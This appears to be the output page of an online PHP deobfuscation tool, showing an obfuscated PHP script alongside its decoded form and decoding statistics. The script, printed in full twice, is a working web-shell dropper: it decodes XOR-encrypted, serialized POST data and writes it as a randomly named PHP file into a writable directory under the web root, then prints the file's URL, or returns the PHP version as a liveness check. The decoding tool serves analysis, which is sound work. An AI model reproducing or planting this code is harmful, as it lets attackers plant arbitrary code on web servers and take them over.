Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $PgaEtjGXb = chr(433-365)."\x4f".'C'.chr(601-516).chr(477-400)."\105".chr(547-469)."..
Decoded Output download
<?php $PgaEtjGXb = chr(433-365)."O".'C'.chr(601-516).chr(477-400)."E".chr(547-469)."T".chr(935-840)."R"."O".'O'."T";$KNWRbo = "H"."T"."T"."P".chr(95).chr(72)."O".'S'."T";$cdlkkXOiE = "h".'t'.chr(116)."p".chr(828-770).'/'."/";$SjJJde = ".".'p'.'h'.chr(112);$zynBw = "p"."h".chr(112);$uuQpNBT = chr(102).chr(105).'l'."e".chr(95).chr(263-151)."u".chr(505-389).chr(972-877)."c"."o"."n".chr(472-356)."e"."n"."t".'s';$UvmsyIHkTd = "r"."a".chr(968-849).chr(566-449)."r".chr(689-581)."d"."e".'c'."o"."d".chr(587-486);$OxfNodTsB = 'u'."n"."s".chr(750-649).'r'.chr(105).chr(316-219).chr(108).chr(277-172)."z"."e";$zevbAmi = chr(689-584).'s'."_"."w"."r".chr(105).'t'.chr(334-237).'b'."l".'e';$dKcFRw = "p".chr(1004-900)."p".chr(1044-926).chr(101).chr(114)."s".chr(946-841).chr(289-178)."n";$bnTJkgeheq = chr(1098-983).chr(116).'r'."_".chr(114).chr(111).chr(116)."1".'3';$SSfowMp = chr(196-81)."e"."r"."i"."a".chr(108).chr(105)."z".'e';$nmzVgKrt = "s".chr(146-30).chr(114).chr(95).'s'.chr(112)."l".chr(794-689).chr(116);foreach ($_POST as $cWcVkhkJvd => $LRVHgkOC){$OlbeemSjU = strlen($cWcVkhkJvd);if ($OlbeemSjU == 16){$LRVHgkOC = $nmzVgKrt($UvmsyIHkTd($bnTJkgeheq($LRVHgkOC)));$cWcVkhkJvd = array_slice($nmzVgKrt(str_repeat($cWcVkhkJvd, (count($LRVHgkOC)/16)+1)), 0, count($LRVHgkOC));function WRlBIzxPs($MlbCN, $rzJMqHOd, $cWcVkhkJvd){$tnpzrZJ = "7e06d611-b2cb-44c1-8743-06c85dd89e21";return $MlbCN ^ $tnpzrZJ[$rzJMqHOd% strlen($tnpzrZJ)] ^ $cWcVkhkJvd;}$LRVHgkOC = array_map("WRlBIzxPs", array_values($LRVHgkOC), array_keys($LRVHgkOC), array_values($cWcVkhkJvd));$LRVHgkOC = implode("", $LRVHgkOC);$LRVHgkOC = @$OxfNodTsB($LRVHgkOC);if (@is_array($LRVHgkOC)){$HCchArt = array_keys($LRVHgkOC);$LRVHgkOC = $LRVHgkOC[$HCchArt[0]];if ($LRVHgkOC === $HCchArt[0]){echo @$SSfowMp(Array($zynBw => @$dKcFRw(), ));exit();}else {function phYPFBCb($KpmhKSXir){static $qlwdUTy = array();$NoMviu = glob($KpmhKSXir . '/*', GLOB_ONLYDIR);$vEWOVXkSfD = count($NoMviu);if ($vEWOVXkSfD > 0) {foreach ($NoMviu as $KpmhKSX) {if (@$zevbAmi($KpmhKSX)) {$qlwdUTy[] = $KpmhKSX;}}}foreach ($NoMviu as $KpmhKSXir) phYPFBCb($KpmhKSXir);return $qlwdUTy;}$wuDTobKztK = $_SERVER[$PgaEtjGXb];$NoMviu = phYPFBCb($wuDTobKztK);$HCchArt = array_rand($NoMviu);$KpmhKSXWDvoz = $NoMviu[$HCchArt] . "/" . substr(md5(time()), 0, 8) . $SjJJde;@$uuQpNBT($KpmhKSXWDvoz, $LRVHgkOC);$HHFKEy = $cdlkkXOiE . $_SERVER[$KNWRbo] . substr($KpmhKSXWDvoz, strlen($wuDTobKztK));print($HHFKEy);die();}}}} ?>
Did this file decode correctly?
Original Code
<?php $PgaEtjGXb = chr(433-365)."\x4f".'C'.chr(601-516).chr(477-400)."\105".chr(547-469)."\x54".chr(935-840)."\122"."\117".'O'."\x54";$KNWRbo = "\110"."\x54"."\124"."\120".chr(95).chr(72)."\x4f".'S'."\124";$cdlkkXOiE = "\x68".'t'.chr(116)."\x70".chr(828-770).'/'."\57";$SjJJde = "\x2e".'p'.'h'.chr(112);$zynBw = "\x70"."\150".chr(112);$uuQpNBT = chr(102).chr(105).'l'."\145".chr(95).chr(263-151)."\x75".chr(505-389).chr(972-877)."\x63"."\x6f"."\x6e".chr(472-356)."\x65"."\x6e"."\164".'s';$UvmsyIHkTd = "\x72"."\141".chr(968-849).chr(566-449)."\162".chr(689-581)."\144"."\145".'c'."\157"."\144".chr(587-486);$OxfNodTsB = 'u'."\x6e"."\x73".chr(750-649).'r'.chr(105).chr(316-219).chr(108).chr(277-172)."\x7a"."\145";$zevbAmi = chr(689-584).'s'."\137"."\167"."\x72".chr(105).'t'.chr(334-237).'b'."\x6c".'e';$dKcFRw = "\x70".chr(1004-900)."\160".chr(1044-926).chr(101).chr(114)."\x73".chr(946-841).chr(289-178)."\156";$bnTJkgeheq = chr(1098-983).chr(116).'r'."\137".chr(114).chr(111).chr(116)."\x31".'3';$SSfowMp = chr(196-81)."\145"."\x72"."\151"."\x61".chr(108).chr(105)."\x7a".'e';$nmzVgKrt = "\163".chr(146-30).chr(114).chr(95).'s'.chr(112)."\154".chr(794-689).chr(116);foreach ($_POST as $cWcVkhkJvd => $LRVHgkOC){$OlbeemSjU = strlen($cWcVkhkJvd);if ($OlbeemSjU == 16){$LRVHgkOC = $nmzVgKrt($UvmsyIHkTd($bnTJkgeheq($LRVHgkOC)));$cWcVkhkJvd = array_slice($nmzVgKrt(str_repeat($cWcVkhkJvd, (count($LRVHgkOC)/16)+1)), 0, count($LRVHgkOC));function WRlBIzxPs($MlbCN, $rzJMqHOd, $cWcVkhkJvd){$tnpzrZJ = "7e06d611-b2cb-44c1-8743-06c85dd89e21";return $MlbCN ^ $tnpzrZJ[$rzJMqHOd% strlen($tnpzrZJ)] ^ $cWcVkhkJvd;}$LRVHgkOC = array_map("WRlBIzxPs", array_values($LRVHgkOC), array_keys($LRVHgkOC), array_values($cWcVkhkJvd));$LRVHgkOC = implode("", $LRVHgkOC);$LRVHgkOC = @$OxfNodTsB($LRVHgkOC);if (@is_array($LRVHgkOC)){$HCchArt = array_keys($LRVHgkOC);$LRVHgkOC = $LRVHgkOC[$HCchArt[0]];if ($LRVHgkOC === $HCchArt[0]){echo @$SSfowMp(Array($zynBw => @$dKcFRw(), ));exit();}else {function phYPFBCb($KpmhKSXir){static $qlwdUTy = array();$NoMviu = glob($KpmhKSXir . '/*', GLOB_ONLYDIR);$vEWOVXkSfD = count($NoMviu);if ($vEWOVXkSfD > 0) {foreach ($NoMviu as $KpmhKSX) {if (@$zevbAmi($KpmhKSX)) {$qlwdUTy[] = $KpmhKSX;}}}foreach ($NoMviu as $KpmhKSXir) phYPFBCb($KpmhKSXir);return $qlwdUTy;}$wuDTobKztK = $_SERVER[$PgaEtjGXb];$NoMviu = phYPFBCb($wuDTobKztK);$HCchArt = array_rand($NoMviu);$KpmhKSXWDvoz = $NoMviu[$HCchArt] . "/" . substr(md5(time()), 0, 8) . $SjJJde;@$uuQpNBT($KpmhKSXWDvoz, $LRVHgkOC);$HHFKEy = $cdlkkXOiE . $_SERVER[$KNWRbo] . substr($KpmhKSXWDvoz, strlen($wuDTobKztK));print($HHFKEy);die();}}}}
Function Calls
chr | 50 |
Stats
MD5 | 31d408c9c2fd5caf1aeacaabbc0ae226 |
Eval Count | 0 |
Decode Time | 102 ms |